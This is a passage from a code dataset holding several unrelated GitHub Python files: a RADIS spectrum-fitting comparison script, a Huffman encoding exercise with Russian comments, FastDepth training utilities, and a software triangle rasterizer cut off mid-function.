etc.\n    \"normalize\": True,  # Either applying normalization on both spectra or not.\n    \"max_loop\": 150,  # Max number of loops allowed. By default, 200.\n    \"tol\": 1e-15,  # Fitting tolerance, only applicable for \"lbfgsb\" method.\n}\n\n\"\"\"\n\nFor the fitting method, you can try one among 17 different fitting methods and algorithms of LMFIT,\nintroduced in `LMFIT method list <https://lmfit.github.io/lmfit-py/fitting.html#choosing-different-fitting-methods>`.\n\nYou can see the benchmark result of these algorithms here:\n`RADIS Newfitting Algorithm Benchmark <https://github.com/radis/radis-benchmark/blob/master/manual_benchmarks/plot_newfitting_comparison_algorithm.py>`.\n\n\"\"\"\n\n\n# ------------------------------------ Step 3. Run the fitting and retrieve results ------------------------------------ #\n\n\n# Conduct the fitting process!\ns_bestfit, result, log = fit_spectrum(\n    s_exp=s_experimental,  # Experimental spectrum.\n    fit_params=fit_parameters,  # Fit parameters.\n    bounds=bounding_ranges,  # Bounding ranges for those fit parameters.\n    model=experimental_conditions,  # Experimental ground-truths conditions.\n    pipeline=fit_properties,  # Fitting pipeline references.\n    verbose=False,  # If you want a clean result, stay False. If you want to see more about each loop, True.\n)\n\n# Information to report later in comparison result\nnewfitting_residual = log[\"residual\"][-1]\nnewfitting_loops = result.nfev\nnewfitting_time = log[\"time_fitting\"]\n\n\n# ---------------------------------------------------------------------------------------------------------------------- #\n\n\n# ---------------------------------- PERFORMANCE COMPARISON BETWEEN 2 FITTING METHODS ---------------------------------- #\n\nprint(\n    \"\\n\\n\\n====================  PERFORMANCE COMPARISON BETWEEN 2 FITTING METHODS  ====================\"\n)\n\nprint(\"\\n1. LAST RESIDUAL\\n\")\nprint(f\"- Old 1T fitting example:   \\t{oldfitting_residual}\")\nprint(f\"- New fitting module:       \\t{newfitting_residual}\")\n\nprint(\"\\n2. NUMBER OF FITTING LOOPS\\n\")\nprint(f\"- Old 1T fitting example:   \\t{oldfitting_loops} loops\")\nprint(f\"- New fitting module:       \\t{newfitting_loops} loops\")\n\nprint(\"\\n3. TOTAL TIME TAKEN (s)\\n\")\nprint(f\"- Old 1T fitting example:   \\t{oldfitting_time} s\")\nprint(f\"- New fitting module:       \\t{newfitting_time} s\")\n\nprint(\n    \"\\n==========================================================================================\\n\"\n)\n\n\n\"\"\"\n\nFrom the comparative result above, which includes last residual, total time fitting and total number of\nfitting loops of each fitting method, we can see that under exactly the same ground-truth conditions,\nfitting method (L-BFGS-B) and fitting pipeline, we can see that the new fitting module provides a better\naccuracy, while requiring less fitting loops and time for execution.\n\nYou are free to change the experimental spectrum and its accompanied ground-truth conditions, but please\nmake sure to keep the same inputs between the two for a transparent comparative result.\n\n\"\"\"\n", "repo_name": "radis/radis", "sub_path": "examples/plot_newfitting_comparison_oldnew.py", "file_name": "plot_newfitting_comparison_oldnew.py", "file_ext": "py", "file_size_in_byte": 8498, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 173, "dataset": "github-code", "pt": "81", "api": [{"api_name": "radis.test.utils.setup_test_line_databases", "line_number": 34, "usage_type": "call"}, {"api_name": "radis.load_spec", "line_number": 41, "usage_type": "call"}, {"api_name": "radis.test.utils.getTestFile", "line_number": 41, "usage_type": "call"}, {"api_name": "radis.tools.fitting.LTEModel", "line_number": 50, "usage_type": "call"}, {"api_name": "radis.SpectrumFactory", "line_number": 59, "usage_type": "call"}, {"api_name": "astropy.units.nm", "line_number": 60, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 60, "usage_type": "name"}, {"api_name": "astropy.units.nm", "line_number": 61, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 61, "usage_type": "name"}, {"api_name": "time.time", "line_number": 74, "usage_type": "call"}, {"api_name": "time.time", "line_number": 95, "usage_type": "call"}, {"api_name": "radis.plot_diff", "line_number": 97, "usage_type": "call"}, {"api_name": "radis.test.utils.getTestFile", "line_number": 114, "usage_type": "call"}, {"api_name": "radis.load_spec", "line_number": 115, "usage_type": "call"}, {"api_name": "astropy.units.nm", "line_number": 126, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 126, "usage_type": "name"}, {"api_name": "astropy.units.nm", "line_number": 127, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 127, "usage_type": "name"}, {"api_name": "astropy.units.bar", "line_number": 131, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 131, "usage_type": "name"}, {"api_name": "astropy.units.cm", "line_number": 133, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 133, "usage_type": "name"}, {"api_name": "radis.tools.new_fitting.fit_spectrum", "line_number": 178, "usage_type": "call"}]}
{"seq_id": "20977829901", "text": "\"\"\"\nКодирование Хаффмана (мой вариант).\n\nВход: непустая строка s не более чем из 10 ** 4 символов.\n\nВыход:\n- число k различных сиволов исходной строки и длина закодированной строки;\n- k строки вида \"символ\" : \"код\";\n- закодированная строка.\n\"\"\"\nimport heapq\nimport time\nfrom collections import Counter\n\n\ndef huffman_encode(s: str) -> dict[str, str]:\n    \"\"\"\n    Кодирование строки через коды Хаффмана.\n\n    1. Создаем очередь с приоритетом из частот симоволов и самих символов.\n    2. Создаем пустой словарь tree, где для каждой вершины дерева будем\n    хранить кортеж из его родителя и веса ребра, ведущего к нему.\n    3. Пока в очереди хотя бы 2 элемента:\n    - извлекаем 2 элемента с минимальной частотой и выкидываем их из очереди;\n    - в дереве для этих вершин указываем родителя (конкатенация самих\n    символов) и вес ребра;\n    - в очередь добавляем родителя с суммой частот детей.\n    4. Для каждого уникального символа строки проходимся по цепочке его\n    родителей, последовательно записыая веса ребер в обратном порядке. На\n    выходе получаем оптимальный код символа.\n    \"\"\"\n    heap = [(freq, char) for char, freq in Counter(s).items()]\n    heapq.heapify(heap)\n    tree = {}\n    while len(heap) > 1:\n        freq1, char1 = heapq.heappop(heap)\n        freq2, char2 = heapq.heappop(heap)\n        parent_node = char1 + char2\n        tree[char1] = (parent_node, '0')\n        tree[char2] = (parent_node, '1')\n        heapq.heappush(heap, (freq1 + freq2, parent_node))\n    letter_codes = {}\n    for letter in set(s):\n        key = letter\n        letter_code = ''\n        while key in tree.keys():\n            parent_parent, parent_code = tree[key]\n            letter_code = parent_code + letter_code\n            key = parent_parent\n        if letter_code == '':\n            letter_code = '0'\n        letter_codes[letter] = letter_code\n    return letter_codes\n\n\ndef main():\n    \"\"\"Основная функция.\"\"\"\n    s = input()\n    letter_code_map = huffman_encode(s)\n    encoded_str = ''.join(letter_code_map[ch] for ch in s)\n    print(len(letter_code_map), len(encoded_str))\n    for ch, code in sorted(letter_code_map.items()):\n        print(f'{ch}: {code}')\n    print(encoded_str)\n\n\nif __name__ == '__main__':\n    start = time.time()\n    main()\n    end = time.time()\n    print(f'Время работы - {end - start:.5f}')\n", "repo_name": "GhostOfMadness/stepik_algo_methods", "sub_path": "Теория и задачи/4. Жадные алгоритмы/4_2_huffman_encode_my_ver.py", "file_name": "4_2_huffman_encode_my_ver.py", "file_ext": "py", "file_size_in_byte": 3053, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.Counter", "line_number": 32, "usage_type": "call"}, {"api_name": "heapq.heapify", "line_number": 33, "usage_type": "call"}, {"api_name": "heapq.heappop", "line_number": 36, "usage_type": "call"}, {"api_name": "heapq.heappop", "line_number": 37, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 41, "usage_type": "call"}, {"api_name": "time.time", "line_number": 68, "usage_type": "call"}, {"api_name": "time.time", "line_number": 70, "usage_type": "call"}]}
{"seq_id": "14194855027", "text": "import os\nimport torch\nimport shutil\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nimport cv2\nimport math\n\nfrom dataloader import MyDataloader\n\ncmap = plt.cm.viridis\n\ndef rgb2grayscale(rgb):\n    return rgb[:, :, 0] * 0.2989 + rgb[:, :, 1] * 0.587 + rgb[:, :, 2] * 0.114\n\n\nclass DenseToSparse:\n    def __init__(self):\n        pass\n\n    def dense_to_sparse(self, rgb, depth):\n        pass\n\n    def __repr__(self):\n        pass\n\nclass UniformSampling(DenseToSparse):\n    name = \"uar\"\n    def __init__(self, num_samples, max_depth=np.inf):\n        DenseToSparse.__init__(self)\n        self.num_samples = num_samples\n        self.max_depth = max_depth\n\n    def __repr__(self):\n        return \"%s{ns=%d,md=%f}\" % (self.name, self.num_samples, self.max_depth)\n\n    def dense_to_sparse(self, rgb, depth):\n        \"\"\"\n        Samples pixels with `num_samples`/#pixels probability in `depth`.\n        Only pixels with a maximum depth of `max_depth` are considered.\n        If no `max_depth` is given, samples in all pixels\n        \"\"\"\n        mask_keep = depth > 0\n        if self.max_depth is not np.inf:\n            mask_keep = np.bitwise_and(mask_keep, depth <= self.max_depth)\n        n_keep = np.count_nonzero(mask_keep)\n        if n_keep == 0:\n            return mask_keep\n        else:\n            prob = float(self.num_samples) / n_keep\n            return np.bitwise_and(mask_keep, np.random.uniform(0, 1, depth.shape) < prob)\n\n\nclass SimulatedStereo(DenseToSparse):\n    name = \"sim_stereo\"\n\n    def __init__(self, num_samples, max_depth=np.inf, dilate_kernel=3, dilate_iterations=1):\n        DenseToSparse.__init__(self)\n        self.num_samples = num_samples\n        self.max_depth = max_depth\n        self.dilate_kernel = dilate_kernel\n        self.dilate_iterations = dilate_iterations\n\n    def __repr__(self):\n        return \"%s{ns=%d,md=%f,dil=%d.%d}\" % \\\n               (self.name, self.num_samples, self.max_depth, self.dilate_kernel, self.dilate_iterations)\n\n    # We do not use cv2.Canny, since that applies non max suppression\n    # So we simply do\n    # RGB to intensitities\n    # Smooth with gaussian\n    # Take simple sobel gradients\n    # Threshold the edge gradient\n    # Dilatate\n    def dense_to_sparse(self, rgb, depth):\n        gray = rgb2grayscale(rgb)\n        blurred = cv2.GaussianBlur(gray, (5, 5), 0)\n        gx = cv2.Sobel(blurred, cv2.CV_64F, 1, 0, ksize=5)\n        gy = cv2.Sobel(blurred, cv2.CV_64F, 0, 1, ksize=5)\n\n        depth_mask = np.bitwise_and(depth != 0.0, depth <= self.max_depth)\n\n        edge_fraction = float(self.num_samples) / np.size(depth)\n\n        mag = cv2.magnitude(gx, gy)\n        min_mag = np.percentile(mag[depth_mask], 100 * (1.0 - edge_fraction))\n        mag_mask = mag >= min_mag\n\n        if self.dilate_iterations >= 0:\n            kernel = np.ones((self.dilate_kernel, self.dilate_kernel), dtype=np.uint8)\n            cv2.dilate(mag_mask.astype(np.uint8), kernel, iterations=self.dilate_iterations)\n\n        mask = np.bitwise_and(mag_mask, depth_mask)\n        return mask\n\n\ndef parse_command():\n    \n    ####\n    model_names = ['resnet18', 'resnet50']\n    loss_names = ['l1', 'l2']\n    sparsifier_names = [x.name for x in [UniformSampling, SimulatedStereo]]\n    from models import Decoder\n    decoder_names = Decoder.names\n    \n    ####\n    data_names = ['nyudepthv2']\n    modality_names = MyDataloader.modality_names\n    \n    import easydict\n    args = easydict.EasyDict({\n        \"data\" : 'nyudepthv2',\n        \"modality\" : 'rgb',\n        \"workers\" : 16,\n        \"print_freq\" : 50,\n        \"evaluate\" : \"C:\\\\Users\\\\son\\\\Desktop\\\\FastDepth\\\\trained_FastDepth.pth.tar\",\n        \"train\" : \"\",\n        \"gpu\" : '0',\n        \"arch\" : 'MobileNet',\n        \"num_samples\" : 0,\n        \"max_depth\" : -1.0,\n        \"sparsifier\" : UniformSampling.name,\n        \"decoder\" : 'deconv2',\n        \"epochs\" : 200,\n        \"criterion\" : 'l1',\n        \"batch_size\" : 8,\n        \"lr\" : 0.01,\n        \"momentum\" : 0.9,\n        \"weight_decay\" : 1e-4,\n        \"resume\" : '',\n        \"pretrained\" : True\n    })\n    \n    if args.modality == 'rgb' and args.num_samples != 0:\n        print(\"number of samples is forced to be 0 when input modality is rgb\")\n        args.num_samples = 0\n    if args.modality == 'rgb' and args.max_depth != 0.0:\n        print(\"max depth is forced to be 0.0 when input modality is rgb/rgbd\")\n        args.max_depth = 0.0\n        \n    return args\n\ndef save_checkpoint(state, is_best, epoch, output_directory):\n    checkpoint_filename = os.path.join(output_directory, 'checkpoint-' + str(epoch) + '.pth.tar')\n    torch.save(state, checkpoint_filename)\n    if is_best:\n        best_filename = os.path.join(output_directory, 'model_best.pth.tar')\n        shutil.copyfile(checkpoint_filename, best_filename)\n    if epoch > 0:\n        prev_checkpoint_filename = os.path.join(output_directory, 'checkpoint-' + str(epoch-1) + '.pth.tar')\n        if os.path.exists(prev_checkpoint_filename):\n            os.remove(prev_checkpoint_filename)\n\ndef adjust_learning_rate(optimizer, epoch, lr_init):\n    \"\"\"Sets the learning rate to the initial LR decayed by 10 every 5 epochs\"\"\"\n    lr = lr_init * (0.1 ** (epoch // 5))\n    for param_group in optimizer.param_groups:\n        param_group['lr'] = lr\n\ndef get_output_directory(args):\n    output_directory = os.path.join('/home/jinoo5953/FastDepth/train_result',\n        '{}.sparsifier={}.samples={}.modality={}.arch={}.decoder={}.criterion={}.lr={}.bs={}.spretrained={}.modified'.\n        format(args.data, args.sparsifier, args.num_samples, args.modality, \\\n            args.arch, args.decoder, args.criterion, args.lr, args.batch_size, \\\n            args.pretrained))\n    return output_directory\n\ndef colored_pred_depthmap(depth, d_min=None, d_max=None):\n    if d_min is None:\n        d_min = np.min(depth)\n    if d_max is None:\n        d_max = np.max(depth)\n    depth_relative = (depth - d_min) / (d_max - d_min)\n    return cmap(depth_relative)[:,:,:3] / np.min(depth) # H, W, C\n\ndef colored_depthmap(depth, d_min=None, d_max=None):\n    if d_min is None:\n        d_min = np.min(depth)\n    if d_max is None:\n        d_max = np.max(depth)\n    depth_relative = (depth - d_min) / (d_max - d_min)\n    return cmap(depth_relative)[:,:,:3] / np.max(depth) # H, W, C\n\ndef merge_into_row(input, depth_target, depth_pred):\n    rgb = 255 * np.transpose(np.squeeze(input.cpu().numpy()), (1,2,0)) # H, W, C\n    depth_target_cpu = np.squeeze(depth_target.cpu().numpy())\n    depth_pred_cpu = np.squeeze(depth_pred.data.cpu().numpy())\n\n    d_min = min(np.min(depth_target_cpu), np.min(depth_pred_cpu))\n    d_max = max(np.max(depth_target_cpu), np.max(depth_pred_cpu))\n    depth_target_col = colored_depthmap(depth_target_cpu, d_min, d_max)\n    depth_pred_col = colored_depthmap(depth_pred_cpu, d_min, d_max)\n    print(rgb.shape, depth_target_col.shape, depth_pred_col.shape)\n    img_merge = np.hstack([rgb, depth_target_col, depth_pred_col])\n    \n    return img_merge\n\n\ndef merge_into_row_with_gt(input, depth_input, depth_target, depth_pred):\n    rgb = 255 * np.transpose(np.squeeze(input.cpu().numpy()), (1,2,0)) # H, W, C\n    depth_input_cpu = np.squeeze(depth_input.cpu().numpy())\n    depth_target_cpu = np.squeeze(depth_target.cpu().numpy())\n    depth_pred_cpu = np.squeeze(depth_pred.data.cpu().numpy())\n\n    d_min = min(np.min(depth_input_cpu), np.min(depth_target_cpu), np.min(depth_pred_cpu))\n    d_max = max(np.max(depth_input_cpu), np.max(depth_target_cpu), np.max(depth_pred_cpu))\n    depth_input_col = colored_depthmap(depth_input_cpu, d_min, d_max)\n    depth_target_col = colored_depthmap(depth_target_cpu, d_min, d_max)\n    depth_pred_col = colored_depthmap(depth_pred_cpu, d_min, d_max)\n\n    img_merge = np.hstack([rgb, depth_input_col, depth_target_col, depth_pred_col])\n\n    return img_merge\n\n\ndef add_row(img_merge, row):\n    return np.vstack([img_merge, row])\n\n\ndef save_image(img_merge, filename):\n    img_merge = Image.fromarray(img_merge.astype('uint8'))\n    img_merge.save(filename)", "repo_name": "sjinwoo/FastDepth", "sub_path": "utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 8010, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.pyplot.cm", "line_number": 12, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "numpy.inf", "line_number": 30, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 45, "usage_type": "attribute"}, {"api_name": "numpy.bitwise_and", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.count_nonzero", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.bitwise_and", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 52, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 58, "usage_type": "attribute"}, {"api_name": "cv2.GaussianBlur", "line_number": 78, "usage_type": "call"}, {"api_name": "cv2.Sobel", "line_number": 79, "usage_type": "call"}, {"api_name": "cv2.CV_64F", "line_number": 79, "usage_type": "attribute"}, {"api_name": "cv2.Sobel", "line_number": 80, "usage_type": "call"}, {"api_name": "cv2.CV_64F", "line_number": 80, "usage_type": "attribute"}, {"api_name": "numpy.bitwise_and", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 84, "usage_type": "call"}, {"api_name": "cv2.magnitude", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 91, "usage_type": "attribute"}, {"api_name": "cv2.dilate", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 92, "usage_type": "attribute"}, {"api_name": "numpy.bitwise_and", "line_number": 94, "usage_type": "call"}, {"api_name": "models.Decoder.names", "line_number": 105, "usage_type": "attribute"}, {"api_name": "models.Decoder", "line_number": 105, "usage_type": "name"}, {"api_name": "dataloader.MyDataloader.modality_names", "line_number": 109, "usage_type": "attribute"}, {"api_name": "dataloader.MyDataloader", "line_number": 109, "usage_type": "name"}, {"api_name": "easydict.EasyDict", "line_number": 112, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 145, "usage_type": "call"}, {"api_name": "os.path", "line_number": 145, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 146, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 148, "usage_type": "call"}, {"api_name": "os.path", "line_number": 148, "usage_type": "attribute"}, {"api_name": "shutil.copyfile", "line_number": 149, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 151, "usage_type": "call"}, {"api_name": "os.path", "line_number": 151, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 152, "usage_type": "call"}, {"api_name": "os.path", "line_number": 152, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 153, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 162, "usage_type": "call"}, {"api_name": "os.path", "line_number": 162, "usage_type": "attribute"}, {"api_name": "numpy.min", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 187, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 191, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 195, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 204, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 207, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 212, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 218, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 222, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 222, "usage_type": "name"}]}
{"seq_id": "1121199496", "text": "#!/usr/bin/env python3\n\nimport math\nfrom PIL import Image\nimport utils.log as log\nfrom graphics.base import ETextureFilterMode\nfrom lib.math3d import *\n\n\nclass Rasterizer(object):\n    def __init__(self, buffer, zbuffer=None):\n        self.buffer = buffer\n        self.clipRegion = [Point(0, 0), Point(buffer.width, buffer.height)]\n        self.zbuffer = zbuffer\n\n    def DrawLine(self, p1, p2, color):\n        \"\"\"\n        使用Bresenahams算法画线\n        参考：http://blog.csdn.net/ming1006/article/details/8006769\n        \"\"\"\n\n        # assert isinstance(v1, Vertex)\n        # assert isinstance(v2, Vertex)\n        # assert isinstance(color, Color)\n\n        # log.logger.debug('Draw line: ({}) ({}) {}'.format(p1, p2, color))\n\n        currX, currY = round(p1.x), round(p1.y)\n        # 计算步长方向及dx和dy绝对值\n        dx, dy = round(p2.x - p1.x), round(p2.y - p1.y)\n        xInc = 1 if dx >= 0 else -1\n        yInc = 1 if dy >= 0 else -1\n        dx, dy = abs(dx), abs(dy)\n        # 两倍dx和dy\n        dx2, dy2 = dx * 2, dy * 2\n\n        # 斜率为0-1的情况\n        if dx > dy:\n            # 计算整数误差项（通过error = (dy / dx - 0.5) * dx2 = dy2 - dx所得，即把误差项扩大2倍dx）\n            error = dy2 - dx\n            for i in range(dx):\n                self.buffer.Set((currX, currY), color)\n                # 检查误差是否超出范围\n                if error >= 0:\n                    error -= dx2  # error = error - 1\n                    currY += yInc\n\n                error += dy2  # error = error + dy / dx\n                currX += xInc\n        else:\n            error = dx2 - dy\n            for i in range(dy):\n                self.buffer.Set((currX, currY), color)\n                if error >= 0:\n                    error -= dy2\n                    currX += xInc\n                error += dx2\n                currY += yInc\n\n    def DrawRectangle(self, p1, p2, color):\n        \"\"\"画矩形线框\"\"\"\n        bottomLeft = Point(p1.x, p2.y)\n        topRight = Point(p2.x, p1.y)\n        self.DrawLine(p1, topRight, color)\n        self.DrawLine(p1, bottomLeft, color)\n        self.DrawLine(p2, bottomLeft, color)\n        self.DrawLine(p2, topRight, color)\n\n    def DrawTriangle(self, p1, p2, p3):\n        # 忽略三点共线的情况\n        if math.isclose(p1.x, p2.x) and math.isclose(p2.x, p3.x) or \\\n                        math.isclose(p1.y, p2.y) and math.isclose(p2.y, p3.y):\n            return\n\n        # 将三个点按y1 y2 y3排序\n        if p2.y < p1.y:\n            p1, p2 = p2, p1\n        if p3.y < p1.y:\n            p1, p3 = p3, p1\n        if p3.y < p2.y:\n            p2, p3 = p3, p2\n\n        # 测试裁剪\n        minClipX = self.clipRegion[0].x\n        minClipY = self.clipRegion[0].y\n        maxClipX = self.clipRegion[1].x\n        maxClipY = self.clipRegion[1].y\n        if p3.y < minClipY or p1.y > maxClipY or \\\n                                        p1.x < minClipX and p2.x < minClipX and p3.x < minClipX or \\\n                                        p1.x > maxClipX and p2.x > maxClipX and p3.x > maxClipX:\n            return\n\n        if math.isclose(p1.y, p2.y):\n            self.DrawTopFlatTriangle(p1, p2, p3)\n        elif math.isclose(p2.y, p3.y):\n            self.DrawBottomFlatTriangle(p1, p2, p3)\n        else:\n            # 由上面点的排序可知，p1-p3必为长边，在长边上找出分割点的X坐标\n            rate = (p2.y - p1.y) / (p3.y - p1.y)\n            splitX = p1.x + (p3.x - p1.x) * rate\n            splitZ = 1 / (1 / p1.z + (1 / p3.z - 1 / p1.z) * rate)\n            splitColor = Color.Lerp(p1.color, p3.color, rate)\n            if isinstance(p1, UVPoint):\n                splitU = (p1.u / p1.z + (p3.u / p3.z - p1.u / p1.z) * rate) * splitZ\n                splitV = (p1.v / p1.z + (p3.v / p3.z - p1.v / p1.z) * rate) * splitZ\n                splitPoint = UVPoint(splitX, p2.y, splitZ, splitColor,\n                                     splitU, splitV, p1.material)\n            else:\n                splitPoint = Point(splitX, p2.y, splitZ, splitColor)\n            # 画被分割的上平底和下平顶三角形\n            self.DrawBottomFlatTriangle(p1, splitPoint, p2)\n            self.DrawTopFlatTriangle(p2, splitPoint, p3)\n\n    def DrawBottomFlatTriangle(self, p1, p2, p3):\n        \"\"\"画平底三角形\n        假定平底的两个顶点为v2和v3，上顶点为v1\n        \"\"\"\n\n        def __Init(_p1, _p2, _p3):\n            # 确保x2在左，x3在右\n            if _p3.x < _p2.x:\n                _p2, _p3 = _p3, _p2\n\n            dy = _p3.y - _p1.y\n            dxLeft = (_p2.x - _p1.x) / dy\n            dxRight = (_p3.x - _p1.x) / dy\n\n            iz1, iz2, iz3 = 1 / _p1.z, 1 / _p2.z, 1 / _p3.z\n            dizLeft = (iz2 - iz1) / dy\n            dizRight = (iz3 - iz1) / dy\n            dcLeft = (_p2.color - _p1.color) / dy\n            dcRight = (_p3.color - _p1.color) / dy\n            xs = xe = _p1.x\n            izs = ize = iz1\n            cs = ce = _p1.color\n            log.logger.debug('bottom flat: {}\\n{}\\n{}\\n'.format(p1, p2, p3))\n            if isinstance(_p1, UVPoint):\n                iu1, iv1 = _p1.u / _p1.z, _p1.v / _p1.z\n                iu2, iv2 = _p2.u / _p2.z, _p2.v / _p2.z\n                iu3, iv3 = _p3.u / _p3.z, _p3.v / _p3.z\n                ts = [iu1, iv1]\n                te = [iu1, iv1]\n                dtLeft = ((iu2 - iu1) / dy, (iv2 - iv1) / dy)\n                dtRight = ((iu3 - iu1) / dy, (iv3 - iv1) / dy)\n                return (xs, xe, dxLeft, dxRight), (cs, ce, dcLeft, dcRight), (izs, ize, dizLeft, dizRight), (ts, te, dtLeft, dtRight)\n            else:\n                return (xs, xe, dxLeft, dxRight), (cs, ce, dcLeft, dcRight), (izs, ize, dizLeft, dizRight), None\n\n        self.__DrawClipTriangle(p1, p2, p3, __Init)\n\n    def DrawTopFlatTriangle(self, p1, p2, p3):\n        \"\"\"画平顶三角形\n        假定平顶的两个顶点为p1和p2，下顶点为p3\n        \"\"\"\n\n        def __Init(_p1, _p2, _p3):\n            # 确保p1在左，p2在右\n            if _p2.x < _p1.x:\n                _p1, _p2 = _p2, _p1\n\n            dy = _p3.y - _p1.y\n            dxLeft = (_p3.x - _p1.x) / dy\n            dxRight = (_p3.x - _p2.x) / dy\n\n            iz1, iz2, iz3 = 1 / _p1.z, 1 / _p2.z, 1 / _p3.z\n            dizLeft = (iz3 - iz1) / dy\n            dizRight = (iz3 - iz2) / dy\n            dcLeft = (_p3.color - _p1.color) / dy\n            dcRight = (_p3.color - _p2.color) / dy\n            xs, xe = _p1.x, _p2.x\n            izs, ize = iz1, iz2\n            cs, ce = _p1.color, _p2.color\n            log.logger.debug('top flat: {}\\n{}\\n{}\\n'.format(p1, p2, p3))\n            if isinstance(_p1, UVPoint):\n                iu1, iv1 = _p1.u / _p1.z, _p1.v / _p1.z\n                iu2, iv2 = _p2.u / _p2.z, _p2.v / _p2.z\n                iu3, iv3 = _p3.u / _p3.z, _p3.v / _p3.z\n                ts, te = [iu1, iv1], [iu2, iv2]\n                dtLeft = ((iu3 - iu1) / dy, (iv3 - iv1) / dy)\n                dtRight = ((iu3 - iu2) / dy, (iv3 - iv2) / dy)\n                return (xs, xe, dxLeft, dxRight), (cs, ce, dcLeft, dcRight), (izs, ize, dizLeft, dizRight), (ts, te, dtLeft, dtRight)\n            else:\n                return (xs, xe, dxLeft, dxRight), (cs, ce, dcLeft, dcRight), (izs, ize, dizLeft, dizRight), None\n\n        self.__DrawClipTriangle(p1, p2, p3, __Init)\n\n    def __DrawClipTriangle(self, p1, p2, p3, initFunc):\n        x1, y1, iz1, c1 = p1.x, p1.y, 1 / p1.z, p1.color\n        x2, y2, iz2, c2 = p2.x, p2.y, 1 / p2.z, p2.color\n        x3, y3, iz3, c3 = p3.x, p3.y, 1 / p3.z, p3.color\n        posInfo, colorInfo, zInfo, textureInfo = initFunc(p1, p2, p3)\n        xs, xe, dxLeft, dxRight = posInfo\n        izs, ize, dizLeft, dizRight = zInfo\n        cs, ce, dcLeft, dcRight = colorInfo\n        if textureInfo:\n            ts, te, dtLeft, dtRight = textureInfo\n        minClipX = self.clipRegion[0].x\n        minClipY = self.clipRegion[0].y\n        maxClipX = self.clipRegion[1].x\n        maxClipY = self.clipRegion[1].y\n\n        # 裁剪Y轴上顶点\n        if y1 < minClipY:\n            xs = xs + dxLeft * (minClipY - y1)\n            xe = xe + dxRight * (minClipY - y1)\n            izs = izs + dizLeft * (minClipY - y1)\n            ize = ize + dizRight * (minClipY - y1)\n            cs = Color.Lerp(c1, c2, minClipY / (y3 - y1))\n            ce = Color.Lerp(c1, c3, minClipY / (y3 - y1))\n            y1 = minClipY\n            iy1 = int(y1)\n        else:\n            iy1 = math.ceil(y1)\n            xs = xs + dxLeft * (iy1 - y1)\n            xe = xe + dxRight * (iy1 - y1)\n            izs = izs + dizLeft * (iy1 - y1)\n            ize = ize + dizRight * (iy1 - y1)\n\n        # 裁剪Y轴下顶点\n        if y3 > maxClipY:\n            y3 = maxClipY\n            c3 = Color.Lerp(c1, c3, maxClipY / (y3 - y1))\n            iy3 = int(y3) - 1\n        else:\n            iy3 = math.ceil(y3) - 1\n\n        # X点都在裁剪范围内\n        if minClipX <= x1 <= maxClipX and minClipX <= x2 <= maxClipX and minClipX <= x3 <= maxClipX:\n            for loopY in range(iy1, iy3 + 1):\n                if textureInfo:\n                    self.__DrawTexturedHorizontalLine(round(xs), round(xe), izs, ize, loopY, cs, ce, ts, te, p1.material)\n                    xs += dxLeft\n                    xe += dxRight\n                    cs += dcLeft\n                    ce += dcRight\n                    izs += dizLeft\n                    ize += dizRight\n                    